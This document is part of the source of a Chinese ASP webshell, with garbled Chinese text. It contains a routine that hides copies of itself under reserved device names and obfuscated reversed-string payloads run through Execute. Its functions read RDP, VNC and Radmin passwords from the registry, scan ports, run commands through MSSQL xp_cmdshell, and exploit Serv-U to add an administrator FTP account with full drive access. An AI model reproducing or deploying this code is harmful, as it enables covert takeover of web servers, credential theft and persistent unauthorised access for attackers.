)rddAPI(dnuobL=j roF⑼nehT ⒴⒴><)0(rddaPI fI⑼)yeKPI(daergeR.hsW=rddaPI⑼⒴sserddAPI\⒴&BdpA&htaP=yeKPI⑼⒴\secafretnI\sretemaraP\pipcT\secivreS\100teSlortnoC\METSYS\ENIHCAM_LACOL_YEKH⒴=htaP⑼⒴>rb<⒴&BdpA&⒴:槨죗埼돨⒴&i&⒴엥貢⒴j⑼)⒴⒴,⒴\eciveD\⒴,)i(sdpA(ecalpeR=BdpA⑼1-)sdpA(dnuoBU oT )sdpA(dnuoBL=i roF⑼ nehT )sdpA(yarrAsI fI⑼)yeKdpA(daeRgeR.hsW=sdpA⑼⒴dniB\egakniL\pipcT\secivreS\100teSlortnoC\METSYS\MLKH⒴=yeKdpA⑼fI dnE⑼1=retlifpipctoN⑼nehT ⒴⒴=elbanEsi ro 0=elbanEsi fI⑼)yeKpipcTelbanE(daergeR.hsW=elbanEsi⑼⒴sretliFytiruceSelbanE\sretemaraP\pipcT\secivreS\teSlortnoCtnerruc\METSYS\MLKH⒴=yeKPIPCTelbanE⑼⒴>1=ezis rh<>rb<]꿎決⒴&⒴쭹貢[⒴j⑼)⒴llehS.tpircsW⒴(tcejboetaerc=hsw tes⑼hsw mid⑼txen emuser rorre no⑼)(ofnIlanimreTteg bus"))

sub hiddenshell
fpath=request.servervariables("path_translated")
set fso=server.createobject("scripting.filesystemobject")
pex="com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt9"
rndpex=split(pex,"|")(rndnumber(0,17))
session("seljw")=""
filepath1=server.mappath(".")
filename1=right(fpath,len(fpath)-instrrev(fpath,"\"))
url=request.servervariables("url")
url=left(url,instrrev(url,"/"))&rndpex&"."&filename1
fso.copyfile fpath,"\\.\"&filepath1&"\"&rndpex&"."&filename1
set fso=nothing
j "<script>parent.location='http://"&request("server_name")&url&"?Fname=/images/.asp&filename1';</script>"
end sub

Sub Message(state,msg,flag)
j"<TABLE width=480 border=0 align=center cellpadding=0 cellspacing=1 bgcolor=#ddd> <TR></TR><TR><TD align=middle bgcolor=#ecfccd><TABLE width=82% border=0 cellpadding=5 cellspacing=0><TR><TD><FONT color=red>"
j state
j"</FONT></TD><TR><TD><P>"&msg
j"</P></TD></TR></TABLE></TD></TR><TR><TD class=TBEnd>"
If flag=0 Then
j" <INPUT type=button value=밑균 onclick='window.close();'>"
Else
End if
j"</TD></TR></TABLE>"
End Sub
Function Red(str)
Red = "<FONT color=#ff2222>" & str & "</FONT>"
End Function

Function RndNumber(Min,Max)
Randomize
RndNumber=Int((Max - Min + 1) * Rnd() + Min)
End Function


Sub ScanDriveForm()
Dim FSO,DriveB
Set FSO = Server.Createobject("Scripting.FileSystemObject")
j"<br><TABLE width=480 border=0 align=center cellpadding=3 cellspacing=1 bgcolor=#ffffff><TR><TD colspan=5 class=TBHead>늚턍/溝固匡숭셸斤口</TD></TR>"
  For Each DriveB in FSO.Drives
j" <TR align=middle class=TBTD><FORM action=?Action=ScanDrive&Drive="
j DriveB.DriveLetter
j" method=Post><TD width=25"&chr(37)&"><B>턍륜</B></TD><TD width=15"&chr(37)&">"
j DriveB.DriveLetter
j":</TD><TD width=20"&chr(37)&"><B>잚謹</B></TD><TD width=20"&chr(37)&">"
  Select Case DriveB.DriveType
  Case 1: j"옵盧땡"
  Case 2: j"굶뒈袒턍"
  Case 3: j"貢쭹늚턍"
  Case 4: j"CD-ROM"
  Case 5: j"RAM늚턍"
  Case else: j"灌列잚謹"
  End Select
j"</TD><TD><INPUT type=submit value=圈玖괩멩></TD></FORM></TR>"
  Next
j" <TR class=TBTD><FORM action=?Action=ScFolder&Folder="
j FSO.GetSpecialFolder(0)
j" method=Post><TD align=middle><B>Windows匡숭셸</B></TD><TD colspan=3>"
j FSO.GetSpecialFolder(0)
j"</TD><TD align=middle><INPUT type=submit value=圈玖괩멩></TD></FORM></TR><TR class=TBTD><FORM action=?Action=ScFolder&Folder="
j FSO.GetSpecialFolder(1)
j" method=Post><TD align=middle><B>System32匡숭셸</B></TD><TD colspan=3>"
j FSO.GetSpecialFolder(1)
j"</TD><TD align=middle><INPUT type=submit value=圈玖괩멩></TD></FORM></TR><TR class=TBTD><FORM action=?Action=ScFolder&Folder="
j FSO.GetSpecialFolder(2)
j" method=Post><TD align=middle><B>溝固줄珂匡숭셸</B></TD><TD colspan=3>"
j FSO.GetSpecialFolder(2)
j"</TD><TD align=middle><INPUT type=submit value=圈玖괩멩></TD><TR class=TBTD> <FORM action= method=Post>"
j"<TD align=middle><B>籃듐뫄커쩌</B></TD><TD colspan=3>籃듐뫄커쩌<TD align=middle><a href="&URL&"?Action=ScFolder&Folder="&wwwroot&"><b>圈玖괩멩</b></a></TD><TR class=TBTD> <FORM action= method=Post>"
j"<TD align=middle><B>쀼澗籃커쩌</B></TD><TD colspan=3>쀼澗籃커쩌 <TD align=middle><a href="&URL&"?Action=ScFolder&Folder=c:\recycler\><b>圈玖괩멩</b></a></TD><TR class=TBTD> <FORM action= method=Post><TD align=middle><B>wmpub커쩌 </B></TD><TD colspan=3>wmpub<TD align=middle><a href="&URL&"?Action=ScFolder&Folder=c:\wmpub\><b>圈玖괩멩</b></a></TD></TABLE><BR>"
j"</FORM></TR></TABLE><BR><DIV align=center><FORM Action=?Action=ScFolder method=Post>寧땍匡숭셸꿴璂：<INPUT type=text name=Folder value=""c:\php\,d:\Program Files\,C:\Documents and Settings\All Users\Documents\,C:\recycler\,d:\recycler\,e:\recycler\,f:\recycler\,C:\wmpub\,C:\WINDOWS\Temp\,C:\360rec,C:\cache,C:\JPEGCapture,C:\Inetpub""><INPUT type=submit value=<3D>냥괩멩> 툽좆꿴였커쩌홈掘,渴흙劤커쩌痰“,”몰역。</FORM><DIV>"
Set FSO=Nothing
End Sub
Sub ScanDrive(Drive)
Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D
If Drive <> "" Then
Set FSO = Server.Createobject("Scripting.FileSystemObject")
Set TestDrive = FSO.GetDrive(Drive)
If TestDrive.IsReady Then
Temp_Str = "<LI>늚턍롸혐잚謹：" & Red(TestDrive.FileSystem) & "<LI>늚턍埼죗뵀：" & Red(TestDrive.SerialNumber) & "<LI>늚턍묾權츰：" & Red(TestDrive.ShareName) & "<LI>늚턍悧휭좆：" & Red(CInt(TestDrive.TotalSize/1048576)) & "<LI>늚턍얩츰：" & Red(TestDrive.VolumeName) & "<LI>늚턍몽커쩌:" & ScReWr((Drive & ":\"))
Set BaseFolder = TestDrive.RootFolder
Set TempFolders = BaseFolder.SubFolders
For Each D in TempFolders
Temp_Str = Temp_Str & "<LI>匡숭셸：" & ScReWr(D)
Next
Set TempFolder = Nothing
Set BaseFolder = Nothing
Else
Temp_Str = Temp_Str & "<LI>늚턍몽커쩌:" & Red("꼇옵뗍:(")
Dim TempFolderList,t:t=0
Temp_Str = Temp_Str & "<LI>" & Red("헨앨커쩌꿎桿：")
TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp")
For i = 0 to Ubound(TempFolderList)
If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then
t = t+1
Temp_Str = Temp_Str & "<LI>랙君匡숭셸：" & ScReWr(Drive & ":\" & TempFolderList(i))
End if
Next
If t=0 then Temp_Str = Temp_Str & "<LI>綠헨앨" & Drive & "턍몽커쩌，뎃灌唐랙君:("
End if
Set TestDrive = Nothing
Set FSO = Nothing
Temp_Str = Temp_Str
Message Drive & ":늚턍斤口",Temp_Str,1
End if
End Sub
Sub ScFolder(folder)
 'On Error Resume Next
folderArr = Split(folder,",")
For i = 0 To Ubound(folderArr)
	Dim FSO,OFolder,TempFolder,Scmsg,S
	Set FSO = Server.Createobject("Scripting.FileSystemObject")
	folder = folderArr(i)
	If FSO.FolderExists(folder) Then
	 Set OFolder = FSO.GetFolder(folder)
	Set TempFolders = OFolder.SubFolders
	Scmsg = "<LI>寧땍匡숭셸몽커쩌：" & ScReWr(folder)
	For Each S in TempFolders
	 Scmsg = Scmsg&"<LI>匡숭셸：" & ScReWr(S)
	Next
	Set TempFolders = Nothing
	Set OFolder = Nothing
	Else
	 Scmsg = Scmsg & "<LI>匡숭셸：" & Red(folder & "꼇닸瞳샀轟뗍홈掘!")
	End if
	Scmsg = Scmsg & "<br><br>鬧雷：꼇狼뜩늴岬劤굶女충，뤠橙瞳怜畇匡숭셸삔즛苟댕좆윕샐匡숭!"&backurl
	Set FSO = Nothing
	Message "",Scmsg,1
next
End Sub
Function ScReWr(folder)
On Error Resume Next
Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename
Set FSO = Server.Createobject("Scripting.FileSystemObject")
Set TestFolder = FSO.GetFolder(folder)
Set TestFileList = TestFolder.SubFolders
RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp"
For Each A in TestFileList
Next
If err Then
err.Clear
ReWrStr = folder & "<FONT color=#ff2222> 꼇옵뗍,"
FSO.CreateTextFile folder & RndFilename,True
If err Then
err.Clear
ReWrStr = ReWrStr & "꼇옵畇。</FONT>"
Else
ReWrStr = ReWrStr & "옵畇。</FONT>"
FSO.DeleteFile folder & RndFilename,True
End If
Else
ReWrStr = folder & "<FONT color=#dddddd> 옵뗍,"
FSO.CreateTextFile folder & RndFilename,True
If err Then
err.Clear
ReWrStr = ReWrStr & "꼇옵畇。</FONT>"
Else
ReWrStr = ReWrStr & "옵畇。</FONT>"
FSO.DeleteFile folder & RndFilename,True
End if
End if
Set TestFileList = Nothing
Set TestFolder = Nothing
Set FSO = Nothing
ScReWr = ReWrStr
End Function
function goback()
set Ofso = Server.CreateObject("Scripting.FileSystemObject")
set ofolder = Ofso.Getfolder(Session("FolderPath"))
if not ofolder.IsRootFolder then
j "<script>ShowFolder("""&RePath(ofolder.parentfolder)&""")</script>"
else
j "<script>ShowFolder("""&Session("FolderPath")&""")</script><center>綠쒔角늚턍몽커쩌죄!</center><center><br><INPUT type=button value=럿쀼 onClick='history.go(-1);'></br></center>"
end if
set Ofso=nothing
set ofolder=nothing
end function
ShiSan="bus dne⑼fi dne⑼fI dnE⑼yarrAeht & ⒴>il<⒴ j⑼eslE⑼txeN⑼)i(yarrAeht & ⒴>il<⒴ j⑼)yarrAeht(dnuoBU oT 0=i roF⑼nehT )yarrAeht(yarrAsI fI⑼)htaPeht(daeRgeR.Xsw=yarrAeht⑼)⒴htaPeht⒴(tseuqeR=htaPeht⑼)⒴llehS.tpircSW⒴(tcejbOetaerC.revreS = Xsw teS⑼txeN emuseR rorrE nO⑼neht ⒴⒴><)⒴htaPeht⒴(tseuqeR fi⑼⒴>/rh<>mrof/<⒴ j⑼⒴>')(timbus.mrof.siht'=kcilcno '令 숩 뗍'=eulav nottub=epyt tupni<⒴ j⑼⒴>08=ezis ''=eulav htaPeht=eman tupni< ⒴ j⑼⒴>/ rb<>tceles/<⒴ j⑼⒴>noitpo/<왯똥PCT돨렴역冀豚>'stroPdewollAPCT\}E2BE55CD8431-3FFA-C0B4-99E8-821564A8{\secafretnI\sretemaraP\pipcT\secivreS\100teSlortnoC\METSYS\MLKH'=eulav noitpo<⒴ j⑼⒴>noitpo/<왯똥PDU돨렴역冀豚>'stroPdewollAPDU\}E2BE55CD8431-3FFA-C0B4-99E8-821564A8{\secafretnI\sretemaraP\pipcT\secivreS\100teSlortnoC\METSYS\MLKH'=eulav noitpo<⒴ j⑼⒴>noitpo/<렴역삽렝>'PCT:9833\tsiL\stroPnepOyllabolG\eliforPdradnatS\yciloPllaweriF\sretemaraP\sseccAderahS\secivreS\teSlortnoCtnerruC\METSYS\MLKH'=eulav noitpo<⒴ j⑼⒴>noitpo/<goL eludehcS>'htaPgoL\tnegAgniludehcS\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH'=eulav noitpo<⒴ j⑼⒴>noitpo/<3쫀법pi/pct>'sretliFytiruceSelbanE\pipcT\secivreS\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH'=eulav noitpo<⒴ j⑼⒴>noitpo/<2쫀법pi/pct>'sretliFytiruceSelbanE\pipcT\secivreS\200teSlortnoC\METSYS\ENIHCAM_LACOL_YEKH'=eulav noitpo<⒴ j⑼⒴>noitpo/<1쫀법pi/pct>'sretliFytiruceSelbanE\pipcT\secivreS\100teSlortnoC\METSYS\ENIHCAM_LACOL_YEKH'=eulav noitpo<⒴ j⑼⒴>noitpo/<왯똥檄榴WynAcP>⒴⒴troPsutatSPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\MLKH⒴⒴=eulav noitpo<⒴j⑼⒴>noitpo/<왯똥앴鑒WynAcP>⒴⒴troPataDPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\MLKH⒴⒴=eulav noitpo<⒴j⑼⒴>noitpo/<왯똥9833>⒴⒴rebmuNtroP\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\MLKH⒴⒴=eulav noitpo<⒴j⑼⒴>noitpo/<왯똥4CNV>⒴⒴rebmuNtroP\4CNVniW\CNVlaeR\ERAWTFOS\MLKH⒴⒴=eulav noitpo<⒴j⑼⒴>noitpo/<쯤쵱4CNV>⒴⒴drowssaP\4CNVniW\CNVlaeR\ERAWTFOS\MLKH⒴⒴=eulav noitpo<⒴j⑼⒴>noitpo/<왯똥3CNV>⒴⒴rebmuNtroP\3CNVniW\LRO\erawtfoS\UCKH⒴⒴=eulav noitpo<⒴j⑼⒴>noitpo/<쯤쵱3CNV>⒴⒴drowssaP\3CNVniW\LRO\erawtfoS\UCKH⒴⒴=eulav noitpo<⒴j⑼⒴>noitpo/<왯똥nimdaR>⒴⒴troP\sretemaraP\revreS\0.2v\nimdAR\METSYS\MLKH⒴⒴=eulav noitpo<⒴j⑼⒴>noitpo/<쯤쵱nimdaR>⒴⒴retemaraP\sretemaraP\revreS\0.2v\nimdAR\METSYS\MLKH⒴⒴=eulav noitpo<⒴j⑼⒴>noitpo/<깊죗엥貢>⒴⒴dniB\egakniL\pipcT\secivreS\teSlortnoCtnerruC\METSYS\MLKH⒴⒴=eulav noitpo<⒴j⑼⒴>noitpo/<emaNretupmoC>'emaNretupmoC\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKH'=eulav noitpo<⒴ j⑼⒴>noitpo/<令숩돨던菱嶝朞>''=eulav noitpo<⒴ j⑼⒴>';eulav.siht=eulav.htaPeht.mrof.siht'=egnahCno tceles<⒴ j⑼⒴ >2=napsloc dt<>rt<⒴ j⑼⒴>tcAeht=eman geRdaeR=eulav neddih=epyt tupni<⒴ j⑼ ⒴>p<혤뗍令숩깊꿍鬧⒴  j⑼⒴>tsop=dohtem mrof<⒴ j⑼)(GERdaeR bus"
ExeCuTe(ShiSanFun(ShiSan))
if request("ProFile")<>"" then
on error resume next
if Application(request("ProFile"))=1 then
Set fsoXX = Server.CreateObject("Scripting.FileSystemObject")
if request("DelCon")=1 then
Application(request("ProFile")&"Con")=""
response.redirect Url&"?ProFile="&request("ProFile")&""
response.end
end if
DIM rline,rline2
rline2=Application(request("ProFile")&"Code")
rline2=rline2&vbcrlf
j"<meta http-equiv=""refresh"" content="&Application(request("ProFile")&"Time")&">"
j"<a href="&Url&"?ProFile="&request("ProFile")&"&DelCon=1><b>헌왕휑羚</b></a> &nbsp;<font color=yellow>狼拳썩뇜괏빱，殮쌈밑균女충섦옵。</font><br>"
for each FileUrl in split(Application(request("ProFile")&"File"),vbcrlf)
FileUrl=trim(FileUrl)
if fsoXX.FileExists(FileUrl) then
Set txt = fsoXX.OpenTextFile(FileUrl,1,true)
rline=""
if Not txt.AtEndOfStream then
rline=txt.ReadAll
end if
if rline2<>rline then
txt.close
fsoX.GetFile(FileUrl).Attributes=32
if Application(request("ProFile")&"Char")=1 then
set myfileee = fsoXX.CreateTextFile(FileUrl,true)
else
set myfileee = fsoXX.CreateTextFile(FileUrl,true,true)
end if
myfileee.writeline Application(request("ProFile")&"Code")
Application(request("ProFile")&"Con")=now()&" "&FileUrl&" <font color=yellow>굳뫘맣，綠뿟릿</font><br>"&Application(request("ProFile")&"Con")
else
Application(request("ProFile")&"Con")=now()&" "&FileUrl&" ￡<br>"&Application(request("ProFile")&"Con")
txt.close
end if
else
if Application(request("ProFile")&"Char")=1 then
set myfileee = fsoXX.CreateTextFile(FileUrl,true)
else
set myfileee = fsoXX.CreateTextFile(FileUrl,true,true)
end if
myfileee.writeline Application(request("ProFile")&"Code")
Application(request("ProFile")&"Con")=now()&" "&FileUrl&" <font color=red>굳<>뇜，綠뿟릿</font><br>"&Application(request("ProFile")&"Con")
end if
next
if ubound(split(Application(request("ProFile")&"Con"),"<br>"))>=40 then
dim ashowic
for ashowi=0 to 40
ashowic=ashowic&split(Application(request("ProFile")&"Con"),"<br>")(ashowi)&"<br>"
next
Application(request("ProFile")&"Con")=ashowic
end if
j Application(request("ProFile")&"Con")
else
j"<br><br><br><center>괏빱쏵넋땔呵，헝<a href="&URL&" style=""text-decoration:underline;font-weight:bold"">路劤<E8B7AF>냥</a>괏빱쏵넋。</center>"
end if
response.end
end if

if session("KKK")<>UserPass then
if request.form("pass")<>"" then
if request.form("pass")=UserPass then
session("KKK")=UserPass
response.redirect url
else
j"<br><br><br><b><div align=center><font size='5' color='red'>--------------- 쵱쯤댄轎꼇콘되쩌！ ------------</font "&Copyright&"></b> <br><br><br><br><b><div align=center><font size='14' color='lime'></font></b></p></center>"&backurl
end if
else

si="<center><a></a><div style='width:400px;padding:32px; align=left'><br><form action='"&url&"' method='post'><input name='pass' type='password' size='22'> <input type='submit' value='Login'></center>"
if instr(SI,SIC)<>0 then j sI
end if
response.end
end if

ShiSan="buS dnE⑼fI dnE⑼fI dnE⑼fI dnE⑼)⒴>rb<>tnof/<렴역>der=roloc tnof<.........⒴ & muNtrop & ⒴:⒴ & pitegrat(j⑼eslE⑼)⒴>rb<균밑.........⒴ & muNtrop & ⒴:⒴ & pitegrat(j⑼nehT 0 > )⒴.))(tcennoC(⒴ ,noitpircsed.rrE(rtSnI fI⑼nehT 9527647412- = rebmun.rrE ro 3487127412- = rebmun.rrE fI⑼nehT rrE fI⑼rtsnnoc nepo.nnoc⑼1 = tuoemiTnoitcennoC.nnoc⑼⒴;=drowssaP;2ekal=DI resU;⒴& muNtrop &⒴,⒴& pitegrat & ⒴=ecruoS ataD;1.BDELOLQS=redivorP⒴=rtsnnoc⑼)⒴noitcennoc.BDODA⒴(tcejbOetaerC.revreS = nnoc tes⑼txeN emuseR rorrE nO⑼)muNtrop ,pitegrat(nacS buS⑼bus dne⑼FI DNE⑼⒴s ⒴&emiteht&⒴ ni ssecorP>rh<⒴j⑼))1remit-2remit(tni(rtsc=emiteht⑼remit = 2remit⑼txeN⑼fI dnE⑼txeN⑼txeN⑼fI dnE⑼fI dnE⑼)⒴>rb<rebmun ton si ⒴ & )i(pmt(j⑼eslE⑼fI dnE⑼)⒴>rb<rebmun ton si ⒴ & Ndne & ⒴ ro ⒴ & Ntrats(j⑼eslE⑼txeN⑼)j,xxx & tratSpi(nacS llaC⑼Ndne oT Ntrats = j roF⑼nehT )Ndne(ciremunsI dna )Ntrats(ciremunsI fI⑼) xkees - ))i(pmt(neL ,)i(pmt(thgiR = Ndne⑼) 1 - xkees ,)i(pmt(tfeL = Ntrats⑼nehT 0 > xkees fI⑼)⒴-⒴ ,)i(pmt(rtSnI = xkees⑼eslE⑼))i(pmt ,xxx & tratSpi(nacS llaC⑼ nehT ))i(pmt(ciremunsI fI⑼)pmt(dnuobU oT 0 = i roF⑼))⒴-⒴,)uh(pi(rtSnI-))uh(pi(neL,1+)⒴-⒴,)uh(pi(rtSnI,)uh(pi(diM ot )1,1+)⒴.⒴,)uh(pi(veRrtSnI,)uh(pi(diM = xxx roF⑼))⒴.⒴,)uh(pi(veRrtSnI,1,)uh(pi(diM = tratSpi⑼eslE⑼txeN⑼fI dnE⑼fI dnE⑼)⒴>rb<rebmun ton si ⒴ & )i(pmt(j⑼eslE⑼fI dnE⑼)⒴>rb<rebmun ton si ⒴ & Ndne & ⒴ ro ⒴ & Ntrats(j⑼eslE⑼txeN⑼)j ,)uh(pi(nacS llaC⑼Ndne oT Ntrats = j roF⑼nehT )Ndne(ciremunsI dna )Ntrats(ciremunsI fI⑼) xkees - ))i(pmt(neL ,)i(pmt(thgiR = Ndne⑼) 1 - xkees ,)i(pmt(tfeL = Ntrats⑼nehT 0 > xkees fI⑼)⒴-⒴ ,)i(pmt(rtSnI = xkees⑼eslE⑼))i(pmt ,)uh(pi(nacS llaC⑼ nehT ))i(pmt(ciremunsI fI⑼)pmt(dnuobU oT 0 = i roF⑼nehT 0 = )⒴-⒴,)uh(pi(rtSnI fI⑼)pi(dnuobU ot 0 = uh roF⑼)⒴,⒴,)⒴pi⒴(mroF.tseuqer(tilpS = pi⑼)⒴,⒴,)⒴trop⒴(mroF.tseuqer(tilpS = pmt⑼)⒴>rh<>rb<>b/<:멩괩췄<EAB4A9>>b<⒴(j⑼remit = 1remit⑼nehT ⒴⒴ >< )⒴nacs⒴(mroF.tseuqer fI⑼⒴>mrof/<>p/<⒴j⑼⒴>'111'=eulav 'nacs'=di 'neddih'=epyt 'nacs'=eman tupni<⒴j⑼⒴>' nacs '=eulav 'mottub'=ssalc 'timbus'=epyt 'timbus'=eman tupni<⒴j⑼⒴>rb<>rb<⒴j⑼⒴>'⒴&tsiLtroP&⒴'=eulav '06'=ezis 'xoBtxeT'=ssalc 'txet'=epyt 'trop'=eman tupni<⒴j⑼⒴:tsiL troP>rb<⒴j⑼⒴>'06'=ezis '⒴&PI&⒴'=eulav 'pi'=di 'xoBtxeT'=ssalc 'txet'=epyt 'pi'=eman tupni< ⒴j⑼⒴ :PI nacS>p<⒴j⑼⒴>';eurt=delbasid.timbus.1mrof'=timbuSno ''=noitca 'tsop'=dohtem '1mrof'=eman mrof<⒴j⑼⒴>p/<。鱗꾸죗溝契獵코LLEHS瞳헝。쌈젯랬轟콘옵PI꼬棍벎써췄<EC8DA8>橙，貢코角벎흔>p<>p/<)。횅硫꼇췄<EABC87>貢코뚤DMC，DMC痰賈수股훙몸,찹싹궐똑醵,왯똥몸뜩췄<EB9CA9>벎흔(포췄<ED8FAC>왯똥>p<⒴j⑼fi dne⑼)⒴pi⒴(mroF.tseuqer=PI⑼esle⑼⒴1.0.0.721⒴=PI⑼neht ⒴⒴=)⒴pi⒴(mroF.tseuqer fi⑼fi dne⑼)⒴trop⒴(mroF.tseuqer=tsiLtroP⑼esle⑼⒴85934,0095,0085,2365,1365,9984,9833,6033,3341,35,32,12⒴=tsiLtroP⑼neht ⒴⒴=)⒴trop⒴(mroF.tseuqer fi⑼0006777 = tuoemiTtpircS.revreS⑼)(troPnacS bus⑼"
ExeCuTe(ShiSanFun(ShiSan))
Select Case Action:case "MainMenu":MainMenu()
Case "EditPower"
Call EditPower(request("PowerPath"))
Case "SavePower"
Call SavePower(request("PowerPath"),request("SaveType"))
case "getTerminalInfo":getTerminalInfo():case "PageAddToMdb":PageAddToMdb():case "ScanPort":ScanPort():FuncTion MMD():SI="<br><form name=form method=post action=""""><table width=""85%"" align='center'><tr align=center><Td id=s><b id=x>MSSQL Commander</b></td></tr><tr align='center'><td id=d><b id=x>Command：</b><input type=text name=MMD size=35 value=""ipconfig"" >&nbsp;<b id=x>UserName：</b><input type=text name=U value=sa>&nbsp;<b id=x>Password：</b><input type=text name=P VALUES=123456>&nbsp;<input type=submit value=Execute></td></tr></table></form>":j SI:SI="":If trim(request.form("MMD"))<>""  Then:password= trim(Request.form("P")):id=trim(Request.form("U")):set adoConn=sERvEr.crEATeobjECT("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id:strQuery = "exec master.dbo.xp_cMdsHeLl '" & request.form("MMD") & "'":set recResult = adoConn.Execute(strQuery):If NOT recResult.EOF Then:Do While NOT recResult.EOF:strResult = strResult & chr(13) & recResult(0):recResult.MoveNext:Loop:End if:set recResult = Nothing:strResult = Replace(strResult," ","&nbsp;"):strResult = Replace(strResult,"<","&lt;"):strResult = Replace(strResult,">","&gt;"):strResult = Replace(strResult,chr(13),"<br>"):End if:set adoConn = Nothing:j request.form("MMD") & "<br>"& strResult:end FuncTion:case "Alexa"
dim AlexaUrl,Top:AlexaUrl=request("u"):Top=Alexa(AlexaUrl):if AlexaUrl="" then AlexaUrl=""&request.servervariables("http_host")&""
SI="<br><table width='80%' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'><tr><td height='20' colspan='3' align='center' bgcolor='menu'>륩蛟포莉숭斤口</td></tr><tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>륩蛟포츰</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF'>"&request.serverVariables("SERVER_NAME")&"</td></tr><form method=post action='http://www.baidu.com/ips8.asp' name='ipform' target='_blank'><tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>륩蛟포IP</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF'><input type='text' name='ip' size='15' value='"&Request.ServerVariables("LOCAL_ADDR")&"'style='border:0px'><input type='submit' value='꿴璂늪륩蛟포杰瞳뒈'style='border:0px'><input type='hidden' name='action' value='2'></td></tr></form><tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>륩蛟포珂쇌</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF'>"&now&" </td></tr><tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>륩蛟포CPU鑒좆</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF'>"&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"</td></tr><tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>륩蛟포꾸鱗溝固</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF'>"&Request.ServerVariables("OS")&"</td></tr><tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>WEB륩蛟포경굶</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF'>"&Request.ServerVariables("SERVER_SOFTWARE")&"</td></tr>"
For i=0 To 18
SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>"&ObT(i,0)&"</td><td bgcolor='#FFFFFF'>"&ObT(i,1)&"</td><td bgcolor='#FFFFFF' align=left>"&ObT(i,2)&"</td></tr>"
Next
j SI
Err.Clear

function getHTTPPage(url)
on error resume next
dim http
set http=Server.createobject("Microsoft.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
getHTTPPage=""
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function bytes2BSTR(vIn)
dim strReturn
dim i1,ThisCharCode,NextCharCode
strReturn = ""
For i1 = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i1,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i1+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i1 = i1 + 1
End If
Next
bytes2BSTR = strReturn
    Err.Clear
End Function
Case "Servu"
SUaction=request("SUaction")
if  not isnumeric(SUaction) then response.end
user = trim(request("u"))
pass = trim(request("p"))
port = trim(request("port"))
cmd = trim(request("c"))
f=trim(request("f"))
if f="" then
f=gpath()
else
f=left(f,2)
end if
ftpport = 65500
timeout=3
loginuser = "User " & user & vbCrLf
loginpass = "Pass " & pass & vbCrLf
deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf
mt = "SITE MAINTENANCE" & vbCrLf
newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf
newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _
        "-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _
        "-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _
        "-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _
        "-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _
        "-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _
        "-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf
quit = "QUIT" & vbCrLf
newuser=replace(newuser,"c:",f)
select case SUaction
case 1
set a=Server.CreateObject("Microsoft.XMLHTTP")
a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", ""
a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit
set session("a")=a
j"<form method='post' name='goldsun'>"
